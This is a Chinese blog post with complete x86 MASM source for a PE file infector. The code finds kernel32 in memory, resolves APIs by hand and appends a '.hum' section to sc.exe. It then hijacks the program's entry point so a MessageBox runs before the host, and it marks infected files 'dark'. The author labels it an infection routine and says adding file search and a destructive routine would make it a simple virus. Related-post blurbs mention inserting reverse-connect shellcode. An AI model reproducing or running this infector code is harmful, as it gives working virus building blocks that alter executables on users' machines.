PE文件添加节显示启动信息...

Windows PE文件扩展与对话框弹出技术指南 本文还有配套的精品资源,点击获取 简介:PE文件格式是Windows平台上的可执行程序标准格式,包含了程序运行的所有必要信息。本文将探讨如何向PE文件中添加新的节区以及实现弹出简单对话框的技术。我们将解析PE文件的内部结构,理解如何修改文件头和节表,创建新的节区条目,并通过编程语言和库函数更新文件内容。此外,文章将展示如何使用Windows API函数显示对话框,并解释如何... 阅读详情

闲来写了个修改PE的小程序,主要是演示和实践PE操作和重定位的概念,实在没事情的时候,可以看看,你将会看到PE文件实际上很简单!当然,首先得作好被我的垃圾代码扫了雅兴的准备.

  这里利用的是我前面介绍的方法的手动查找API的方法.这个东西修改PE并在最后加上一节,节名'.hum',被附加程序启动前会显示一个MsgBox,以显示一些信息,你可以用来给自己破的软件来一个所谓的版权信息(我最痛恨的就是....这个!烦),当然也可以执行其他一些操作,实际上,再加上文件搜索功能和破坏例程,这就将是一个最简单的病毒....


  这个例子没有优化,也没有安排好结构,有兴趣的凑合着看吧,另外还有一些冗余,没有兴趣整理了.
  编译要加入/section:.text,RWE选项.默认操作是对同目录下的sc.exe(heh..,my starcraft).
  .记住,PE文件实际上是很简单的,只要你耐心看下去.
注:虽然用了Virus字样,但不是病毒...

.586
.model flat, stdcall
option casemap :none  ; case sensitive
include c:/hd/hd.h
include c:/hd/mac.h

;;--------------

GetApiA        proto    :DWORD,:DWORD

;;--------------
  .CODE
VirusLen        =  vEnd-vBegin                ;Virus 长度
vBegin:
;-----------------------------------------
include s_api.asm                ;查找需要的api地址
;-----------------------------------------


desfile        db "sc.exe",0
fsize          dd ?
hfile          dd ?
hMap            dd ?
pMem            dd ?
;-----------------------------------------
pe_Header      dd ?
sec_align      dd ?
file_align      dd ?
newEip          dd ?
oldEip          dd ?
inc_size        dd ?
oldEnd          dd ?
;-----------------------------------------

sMessageBoxA                            db "MessageBoxA",0

aMessageBoxA                    dd 0

;;临时变量...
sztit                  db "By Hume,2002",0
szMsg0                  db "Hey,Hope U enjoy it!",0
CopyRight              db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah
                      db "        Thx for using it!",0dh,0ah
                      db "Contact: Humewen@21cn.com",0dh,0ah
                      db "        humeasm.yeah.net",0dh,0ah
                      db "The add Code SiZe:(heX)"
                       
                       

val                    dd 0,0,0,0
;;-----------------------------------------

__Start:
       
      call    _gd
_gd:  
      pop    ebp                            ;得到delta地址
      sub    ebp,offset _gd                        ;因为在其他程序中基址可能不是默认的所以需要重定位
      mov    dword ptr [ebp+appBase],ebp    ;呵呵仔细想想
       
  mov    eax,[esp]                      ;返回地址
      xor    edx,edx
getK32Base:
      dec    eax                            ;逐字节比较验证
      mov    dx,word  ptr [eax+IMAGE_DOS_HEADER.e_lfanew]  ;就是ecx+3ch
      test    dx,0f000h                      ;Dos Header+stub不可能太大,超过4096byte
      jnz    getK32Base                      ;加速检验
      cmp    eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
      jnz    getK32Base                      ;看Image_Base值是否等于ecx即模块起始值,
      mov    [ebp+k32Base],eax              ;如果是,就认为找到kernel32的Base值
       
      lea    edi,[ebp+aGetModuleHandle]
      lea    esi,[ebp+lpApiAddrs]
lop_get:
      lodsd
      cmp    eax,0
      jz      End_Get
      add    eax,ebp
      push    eax
      push    dword ptr [ebp+k32Base]
      call    GetApiA                        
      stosd
      jmp    lop_get                          ;获得api地址,参见s_api文件                      

End_Get:
      call    my_infect


      include dislen.asm
      ;-----------------------------------------
CouldNotInfect:

__where:                                        
      xor    eax,eax                ;判断是否是已经附加,标志'dark'
      push    eax
      call    [ebp+aGetModuleHandle]
      mov    esi,eax
      add    esi,[esi+3ch]  ;->esi->程序本身的Pe_header
      cmp    dword ptr [esi+8],'dark'
      je      jmp_oep

      jmp    __xit                  ;退出启动程序
jmp_oep:
      add    eax,[ebp+oldEip]        
      jmp    eax                    ;跳到宿主程序的入口点


my_infect:                              ;感染部分,文件读写操作,Pe文件修改参见modipe.asm文件
      xor    eax,eax
      push    eax
      push    eax
      push    OPEN_EXISTING
      push    eax
      push    eax
      push    GENERIC_READ+GENERIC_WRITE
      lea    eax,[ebp+desfile]
      push    eax
      call    [ebp+aCreateFile]                    ;打开目标文件
      inc    eax
      je      __Err

      dec    eax
      mov    [ebp+hfile],eax
       
      push    eax

      sub    ebx,ebx
      push    ebx
      push    eax                    ;得到文件大小
      call    [ebp+aGetFileSize]
      inc    eax
      je      __sclosefile
      dec    eax
      mov    [ebp+fsize],eax
      xchg    eax,ecx
      add    ecx,1000h              ;文件大小增加...4096
      pop    eax                                  

      xor    ebx,ebx                              ;创建映射文件
      push    ebx
      push    ecx            ;文件大小等于原大小+Vsize
      push    ebx            
      push    PAGE_READWRITE
      push    ebx
      push    eax
      call    [ebp+aCreateFileMapping]
      test    eax,eax
      je      __sclosefile
      mov    [ebp+hMap],eax                      ;创建成功否?
       
      xor    ebx,ebx
      push    ebx
      push    ebx
      push    ebx
      push    FILE_MAP_WRITE    
      push    eax
      call    [ebp+aMapViewOfFile]
      test    eax,eax
      je      __sclosemap                          ; 映射文件,是否成功?
      mov    [ebp+pMem],eax
      ;--------------------------------------------
      ; the following is modifying part,add new section
      ;--------------------------------------------
      include modipe.asm

__sunview:
      push    [ebp+pMem]
      call    [ebp+aUnmapViewOfFile]
__sclosemap:
      push    [ebp+hMap]
      call    [ebp+aCloseHandle]
__sclosefile:
      push    [ebp+hfile]
      call    [ebp+aCloseHandle]
__Err::
      ret
     
;-----------------------------------------
__xit:  

      push    0
      call    [ebp+aExitProcess]
vEnd:  
;-----------------------------------------

END    __Start
;;==============================================
;;s_api.asm
;;手动查找api部分

K32_api_retrieve        proc    Base:DWORD ,sApi:DWORD

      push    edx                    ;保存edx    
      xor    eax,eax                ;此时esi=sApi
Next_Api:                              ;edi=AddressOfNames
      mov    esi,sApi
      xor    edx,edx
      dec    edx
Match_Api_name:
      movzx  ebx,byte  ptr [esi]
      inc    esi
      cmp    ebx,0
      je      foundit

      inc    edx

      push    eax
      mov    eax,[edi+eax*4]        ;AddressOfNames的指针,递增
      add    eax,Base                ;注意是RVA,一定要加Base值
      cmp    bl,byte  ptr [eax+edx]  ;逐字符比较  
      pop    eax
      je      Match_Api_name          ;继续搜寻
      inc    eax                    ;不匹配,下一个api
      loop    Next_Api
no_exist:
      pop    edx                    ;若全部搜完,即未存在
      xor    eax,eax
      ret
                               
foundit:
      pop    edx                    ;edx=AddressOfNameOrdinals
                                ;*2得到AddressOfNameOrdinals的指针
      movzx  eax,word  ptr [edx+eax*2] ;eax返回指向AddressOfFunctions的指针
      ret
K32_api_retrieve        endp
;-----------------------------------------

GetApiA        proc    Base:DWORD,sApi:DWORD
      local    ADDRofFun:DWORD
      pushad
      mov    esi,Base
      mov    eax,esi
      mov    ebx,eax
      mov    ecx,eax
      mov    edx,eax
      mov    edi,eax                            ;all is Base!

      add    ecx,[ecx+3ch]                      ;现在esi=off PE_HEADER                                                                          

      add    esi,[ecx+78h]                      ;得到esi=IMAGE_EXPORT_DIRECTORY入口                              
                                                   
       
      add    eax,[esi+1ch]                  ;eax=AddressOfFunctions的地址
      mov    ADDRofFun,eax
                                               
      mov    ecx,[esi+18h]                  ;ecx=NumberOfNames

      add    edx,[esi+24h]                  ;edx=AddressOfNameOrdinals

      add    edi,[esi+20h]                  ;esi=AddressOfNames

      invoke    K32_api_retrieve,Base,sApi

      mov    ebx,ADDRofFun
      mov    eax,[ebx+eax*4]                ;要*4才得到偏移

      add    eax,Base                        ;加上Base!
      mov    [esp+7*4],eax                  ;eax返回api地址
      popad
      ret
GetApiA        endp

u32                    db "User32.dll",0
k32                    db "Kernel32.dll",0

appBase        dd ?
k32Base        dd ?
;-----------------------------------------apis needed

lpApiAddrs      label  near
              dd      offset sGetModuleHandle
              dd      offset sGetProcAddress
              dd      offset sLoadLibrary
              dd      offset sCreateFile
              dd      offset sCreateFileMapping
              dd      offset sMapViewOfFile
              dd      offset sUnmapViewOfFile
              dd      offset sCloseHandle
              dd      offset sGetFileSize
              dd      offset sSetEndOfFile
              dd      offset sSetFilePointer

              dd      offset sExitProcess
               
              dd      0,0
               

sGetModuleHandle        db "GetModuleHandleA",0
sGetProcAddress        db "GetProcAddress",0
sLoadLibrary            db "LoadLibraryA",0
sCreateFile            db "CreateFileA",0
sCreateFileMapping      db "CreateFileMappingA",0
sMapViewOfFile          db "MapViewOfFile",0
sUnmapViewOfFile        db "UnmapViewOfFile",0
sCloseHandle            db "CloseHandle",0
sGetFileSize            db "GetFileSize",0
sSetFilePointer        db "SetFilePointer",0
sSetEndOfFile          db "SetEndOfFile",0

sExitProcess            db "ExitProcess",0


 
aGetModuleHandle                dd 0
aGetProcAddress                dd 0
aLoadLibrary                    dd 0
aCreateFile                    dd 0
aCreateFileMapping              dd 0
aMapViewOfFile                  dd 0
aUnmapViewOfFile                dd 0
aCloseHandle                    dd 0
aGetFileSize                    dd 0
aSetFilePointer                dd 0
aSetEndOfFile                  dd 0

aExitProcess                    dd 0
;-----------------------------------------
;;========================modipe.asm=================
      ;修改pe,添加节,实现传染功能

      xchg    eax,esi
      cmp    word  ptr [esi],'ZM'
      jne    CouldNotInfect
      add    esi,[esi+3ch]  ;指向PE_HEADER
      cmp    word  ptr [esi],'EP'
      jne    CouldNotInfect  ;是否是PE,否则不感染
      cmp    dword ptr [esi+8],'dark'
      je      CouldNotInfect
      mov    [ebp+pe_Header],esi  ;保存pe_Header指针

      mov    ecx,[esi+74h]  ;得到directory的数目
      imul    ecx,ecx,8

      lea    eax,[ecx+esi+78h]  ;data directory  eax->节表起始地址
      movzx  ecx,word  ptr [esi+6h]  ;节数目
      imul    ecx,ecx,28h            ;得到所有节表的大小
      add    eax,ecx                ;节结尾...
      xchg    eax,esi                ;eax->Pe_header,esi->最后节开始偏移

;;**************************
;;添加如下结构:
;;name .hum
;;VirtualSize==原size+VirSize
;;VirtualAddress=
;;SizeOfRawData 对齐
;;PointerToRawData
;;PointerToRelocations dd 0
;;PointerToLinenumbers dd ?  
;;NumberOfRelocations dw  ?  
;;NumberOfLinenumbers dw  ?
;;Characteristics      dd ?
;;**************************
      mov    dword ptr [esi],'muh.'  ;节名.hum
      mov    dword ptr [esi+8],VirusLen ;实际大小
     
                                      ;计算VirtualSize和V.addr
      mov    ebx,[eax+38h]          ;SectionAlignment
      mov    [ebp+sec_align],ebx
      mov    edi,[eax+3ch]          ;file align
      mov    [ebp+file_align],edi
       
      mov    ecx,[esi-40+0ch]        ;上一节的V.addr
      mov    eax,[esi-40+8]          ;上一节的实际大小

      xor    edx,edx
      div    ebx                    ;除以节对齐
      test    edx,edx
      je    @@@1
      inc    eax
@@@1:
      mul    ebx                    ;对齐后的节大小
      add    eax,ecx                ;加上V.addr就是新节的起始V.addr
      mov    [esi+0ch],eax          ;保存新section偏移RVA
      add    eax,__Start-vBegin
      mov    [ebp+newEip],eax        ;计算新的eip

      mov    dword ptr [esi+24h],0E0000020h    ;属性

      mov    eax,VirusLen            ;计算SizeOfRawData的大小
      cdq
      div    edi                    ;节的文件对齐
      je      @@@2
      inc    eax
@@@2:
      mul    edi
      mov    dword ptr [esi+10h],eax ;保存节对齐文件的大小

      mov    eax,[esi-40+14h]
      add    eax,[esi-40+10h]
       
      mov    [esi+14h],eax          ;PointerToRawData更新
               
      mov    [ebp+oldEnd],eax      ;最后文件增加到...?

       
      mov    eax,[ebp+pe_Header]
      inc    word  ptr [eax+6h]      ;更新节数目
      mov    ebx,[eax+28h]          ;eip指针偏移
      mov    [ebp+oldEip],ebx        ;保存老指针
      mov    ebx,[ebp+newEip]
      mov    [eax+28h],ebx          ;更新指针值

      ;comment $
      mov    ebx,[eax+50h]          ;更新ImageSize
      add    ebx,VirusLen
      mov    ecx,[ebp+sec_align]
      xor    edx,edx
      xchg    eax,ebx        ;eax和ebx交换...
      cdq
      div    ecx
      test    edx,edx
      je      @@@3
      inc    eax
@@@3:
      mul    ecx
      xchg    eax,ebx        ;还原  eax->pe_Header
      mov    [eax+50h],ebx          ;保更新后的Image_Size大小
      ;$
      mov    dword ptr [eax+8],'dark'
      cld                      ;写入
      mov    ecx,VirusLen
      mov    edi,[ebp+oldEnd]
      add    edi,[ebp+pMem]
      lea    esi,[ebp+vBegin]
      rep    movsb                  ;写入文件,all is OK!
       
      xor    eax,eax
      sub    edi,[ebp+pMem]

      push    FILE_BEGIN
      push    eax
      push    edi
      push    [ebp+hfile]
      call    [ebp+aSetFilePointer]

      push    [ebp+hfile]
      call    [ebp+aSetEndOfFile]
;============================disLen.asm
    lea    eax,[ebp+u32]
      push    eax
      call    dword ptr [ebp+aLoadLibrary]
      test    eax,eax
      jnz    @g1      
@g1:
       
      lea    EDX,[EBP+sMessageBoxA]
      push    edx
      push    eax
      mov    eax,dword ptr [ebp+aGetProcAddress]
      call    eax
      mov    [ebp+aMessageBoxA],eax
       

      ;-----------------------------------------
      mov    ebx,VirusLen
      mov    ecx,8
      cld
      lea    edi,[ebp+val]
L1:
      rol    ebx,4
      call    binToAscii
      loop    L1

      push    40h+1000h
      lea    eax,[ebp+sztit]
      push    eax
      lea    eax,[ebp+CopyRight]
      push    eax
      push    0
      call    [ebp+aMessageBoxA]

      jmp    __where
;-----------------------------------------

binToAscii    proc  near
      mov    eax,ebx
      and    eax,0fh
      add    al,30h
      cmp    al,39h
  jbe    @f
      add    al,7
       
  @@:
      stosb
      ret
binToAscii    endp
;----------------------------over-----by hume

PE文件节区添加并弹出简单的对话框 PE文件自动添加节区,并弹出一个简单的对话框(可以自己修改成其它的东西) 立即下载

相关推荐

向PE文件中插入可执行代码(非源码)

根据PE文件 的结构特征,实现两种不同的向Pe文件插入可执行代码的方法: (1)在本节中的未用空间中插入代码 (2)添加新的节 在编写要添加的代码中,要注意插入代码的变量地址的重定位和代码返回发动态获取API入口地址。。。

软件安全实验(一)PEVIEW-弹窗操作

软件安全实验(一) 实验名称:软件安全-PEVIEW-弹窗操作 实验软件:WinHex , OllyDBG , LordPE , PEview 实验效果:双击PEview后产生弹窗 实验思路: 实验步骤: 1.打开LordPE 2.点击PE Editor 3.选择PEview打开,观察EntryPoint(入口点)和ImageBase(基地址) 得出原始入口点为401000 4.点...

m0_56043517的博客 1655

改写PE文件导入表加载DLL

通过改写PE文件的导入段,实现DLL的加载。PE文件的导入段记录了系统所要加载的DLL名,以及由该DLL所导出的,PE文件中所用到的函数信息。

PE格式: 新建节并插入代码

PE格式是 Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密,病毒分析,外挂技术等。 经过了前一章的学习相信你已经能够独立完成FOA与VA之间的互转了,接下来我们将实现在程序中插入新节区,并向新节区内插入一段能够反向连接的ShellCode代...

微软技术分享 8277

添加节,插入PE文件

把任何二进制文件,以新添加一个节区的方式,插入到可执行文件中!

PE文件简单加密(加壳)--源码 <img src="/images/sunny.gif" ali

这个小软件通过在可执行文件(.exe)的尾部添加一个新节(Section),并且修改PE的入口地址,使可执行文件在运行时,跳出一个输入密码的对话框,从而实现了简单的加密。源程序采用Delphi 6.0编写, 兼有少量的asm代码,用於可执行文件的加密。如需传播,请保留作品的完整性!

PE文件实现多窗口弹出以及循环弹出的硬编码添加

小白能看懂的PE文件自行添加弹窗的详细步骤

m0_63657334的博客 874

Hermes Dashboard Web 端部署完整说明

通过反向代理(nginx)使用公网域名访问时,会遇到 Host 头校验、CORS 跨域、WebSocket 连接拒绝三个核心问题。本文档记录了完整的源码修改方案和部署步骤。确保 nginx 主配置加载了 WebSocket map(宝塔默认为。路径的公开访问(无需登录),其他路径仍受 Cookie 认证保护。Hermes Dashboard 默认绑定。访问站点时会先弹出浏览器密码框,输入用户。在 nginx 反向代理配置中的。环境变量动态读取允许的域名。nginx 配置中已添加。

大白菜代码的博客 805

PE文件的感染

逆向工程简称RE,一般指通过分析物体、机械设备或系统,了解它的结构、功能、行为等,同时掌握它的原理并且进行改善、添加的一系列过程。简单来讲,对软件进行分析并搞清楚其行为的工作。从结果出发,解决工程理解的问题。。提示:以下是本篇文章正文内容,下面案例可供参考提示:这里对文章进行总结:例如:以上就是今天要讲的内容,本文仅仅简单介绍了messagebox的调用和对PE文件进行增加弹窗的操作。

weixin_51738129的博客 383

Cursor使用教程,有点难

Cursor Code Editor 不仅仅是一个代码编辑器,它更是一个集成了 AI 的全功能开发环境,帮助你从代码编写到优化的整个过程变得更加智能和高效。它通过内置的 AI 代码补全、错误检测和自动修复功能,大大减少了手动编写代码的负担,帮助你快速完成开发任务。同时,Cursor 还与多种前沿的 AI 大模型集成,包括 OpenAI 的 GPT-4o、Claude 3.5 和 Meta 的 Llama 3.1。

xiaofeitunAI的博客 1万+

AI视频生成成本优化实战:混合架构与硬件选型

AI视频生成技术正面临效果与成本的二元博弈,其核心挑战在于高昂的推理算力消耗与黑箱服务的不确定性。从技术原理看,视频生成依赖扩散模型等深度学习架构,通过多轮迭代实现像素级合成,这导致GPU显存占用和电力消耗呈指数级增长。在工程实践中,采用混合推理架构能有效平衡成本与质量,例如云端处理关键帧配合本地渲染过渡帧,实测可降低58%支出。硬件选型方面,消费级显卡魔改与边缘计算设备为中小企业提供了可行方案,如RTX 3090显存扩容或Jetson AGX边缘部署。当前AI视频应用已渗透电商直播、新闻制作等领域,但需警

weixin_29531177的博客 293

为PE文件添加新节显示启动信息

为PE文件添加新节显示启动信息 下载本节例子程序和源代码 (7.66 KB) 病毒并不神秘,也不复杂。相当多的大侠已经在这方面作出了杰出的贡献,例如 29A 组织,我对他们的崇拜之情啊,真是……咳咳,先别扔鸡蛋。其实我想说的是:技术是一柄双刃剑,我们应该把它运用在对社会有益的事情上。所以请勿

xuplus的专栏 760

【ANSYS APDL】提取结构刚度矩阵完整过程--附Python代码实现

ANSYS的结构刚度矩阵提取中一些操作技巧

m0_61038364的博客 1万+

PE文件添加节显示启动信息

闲来写了个修改PE的小程序,主要是演示和实践PE操作和重定位的概念,实在没事情的时候,可以看看,你将会看到PE文件实际上很简单!当然,首 先得作好被我的垃圾代码扫了雅兴的准备.这里利用的是我前面介绍的方法的手动查找API的方法.这个东西修改PE并在最后加上一节,节 名'.hum',被附加程...

chubaisheng8627的博客 154

基于 ESP32-CAM 与 TinyML 的食堂餐盘自动识别与营养分析终端

【代码】基于 ESP32-CAM 与 TinyML 的食堂餐盘自动识别与营养分析终端。

weixin_42300449的博客 166

【75】OpenCV C++实战篇——OpenCV 图像拼接、全景拼接(教程合集)

本文整理了OpenCV实现图像拼接的技术教程合集,涵盖C++和Python两种语言实现方案。图像拼接技术旨在将多张重叠图像融合为无缝全景图,既扩大视角又保持高分辨率。内容包含水平矫正等关键步骤(附对比效果图),提供多个实战案例的完整代码和详细讲解,涉及单应性矩阵、图像变换等核心技术。不同案例展示了从两张到多张图像的拼接效果,适合不同层次的学习者参考实践。

程序员,他们想的是什么?他们想的永远都是技术,他们崇尚的也永远都是技术。 528

小议病毒编写--为PE文件添加新节显示启动信息

病毒并不神秘,也不复杂。相当多的大侠已经在这方面作出了杰出的贡献,例如 29A 组织,我对他们的崇拜之情啊,真是……咳咳,先别扔鸡蛋。其实我想说的是:技术是一柄双刃剑,我们应该把它运用在对社会有益的事情上。所以请勿利用本文的代码进行违法违纪的活动,否则本人保留追究的权利。 本文的技术其实早已是老掉牙的东西了,so如果你已经懂得了编写病毒的方法,请跳过本文;如果你对病毒抱有好奇心,但是还没知道怎么编

碎片工作室 1339

Python爬虫抓取学术期刊数据(Springer、Elsevier)

本文详细介绍了如何使用Python爬虫抓取学术期刊网站(如Springer、Elsevier)上的文章信息,并进行数据清洗和存储。我们使用了requestsSeleniumpandas等技术,通过模拟浏览器行为来绕过反爬虫机制,并将数据保存为Excel文件,方便后续分析。未来,我们可以通过加入更多的期刊网站数据源,扩展爬虫的功能,抓取更多的学术数据。同时,结合自然语言处理(NLP)技术,可以对抓取的文章进行自动化的摘要提取和主题分类,为学术研究提供更多的支持。

2201_76125261的博客 1487

PE文件结构详解精华(从头看下去就能大概了解PE文件结构了)

前言 此博客绝大部分内容来自云课堂武大慕课《软件安全-恶意代码机理与防护》。 内容提纲 PE文件及其表现形式 PE文件格式与恶意软件的关系 PE文件格式总体结构 代码节与数据节 引入函数节:PE文件的引入函数机制 引出函数节:DLL文件的函数引出机制 资源节:文件资源索引、定位与修改 重定位节:镜像地址改变后的地址自动修正 PE文件及其表现形式 可移植的可执行文件(PE,Portable...

雨化于画 1万+

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

上一篇: 病毒基础系列-API函数地址的获取
下一篇: 在Visual C++中使用内联汇编
doskey
博客等级 码龄25年 6粉丝 11原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值